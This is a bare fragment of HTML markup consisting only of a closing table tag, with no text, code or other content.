</table>